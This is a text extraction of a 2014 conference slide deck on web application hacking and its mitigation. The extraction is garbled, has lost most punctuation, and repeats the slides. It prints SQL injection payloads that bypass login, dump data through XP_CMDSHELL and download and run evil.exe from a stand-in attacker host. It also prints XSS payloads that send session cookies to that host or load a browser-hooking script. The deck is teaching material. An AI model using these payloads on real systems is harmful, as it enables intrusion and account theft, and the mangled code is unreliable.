cracking the perimeter via web application hacking · • web application security and owasp •...

71
[email protected] January 17, 2014 Cracking the Perimeter via Web Application Hacking 2014 Mega Conference Zach Grace, CISSP, CEH

Upload: others

Post on 20-May-2020

9 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

zgrace403labscom

January 17 2014

Cracking the Perimeter via Web Application Hacking

2014 Mega Conference

Zach Grace CISSP CEH

About 403 Labs

bull 403 Labs is a full-service information security and

compliance consulting company

bull Compliance

bull HIPAAHITECH PCI DSS GLBA SSAE 16 (SAS 70)

bull Professional Services

bull Penetration testing forensics vulnerability scanning IT

audits policies amp procedures risk assessments security

awareness training

2

whoami all

bull Manager of Penetration Testing and penetration

tester at 403 Labs LLC

bull Former developer amp systems administrator

bull Wisconsin CCDC Red Team member

bull Open source contributor

bull Metasploit amp Recon-ng

bull Milwaukee OWASP chapter member

bull Locksport (lockpicking) enthusiast

3

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

4

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

5

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 2: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

About 403 Labs

bull 403 Labs is a full-service information security and

compliance consulting company

bull Compliance

bull HIPAAHITECH PCI DSS GLBA SSAE 16 (SAS 70)

bull Professional Services

bull Penetration testing forensics vulnerability scanning IT

audits policies amp procedures risk assessments security

awareness training

2

whoami all

bull Manager of Penetration Testing and penetration

tester at 403 Labs LLC

bull Former developer amp systems administrator

bull Wisconsin CCDC Red Team member

bull Open source contributor

bull Metasploit amp Recon-ng

bull Milwaukee OWASP chapter member

bull Locksport (lockpicking) enthusiast

3

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

4

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

5

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 3: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

whoami all

bull Manager of Penetration Testing and penetration

tester at 403 Labs LLC

bull Former developer amp systems administrator

bull Wisconsin CCDC Red Team member

bull Open source contributor

bull Metasploit amp Recon-ng

bull Milwaukee OWASP chapter member

bull Locksport (lockpicking) enthusiast

3

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

4

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

5

What is Web Application Security

bull Securing the ldquocustom coderdquo that drives a

web application including

bull Web application code (dynamic sites)

bull Underlying software libraries (frameworks)

bull Backend systems (database reporting etc)

bull Web services (APIs)

bull Not network security

6

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

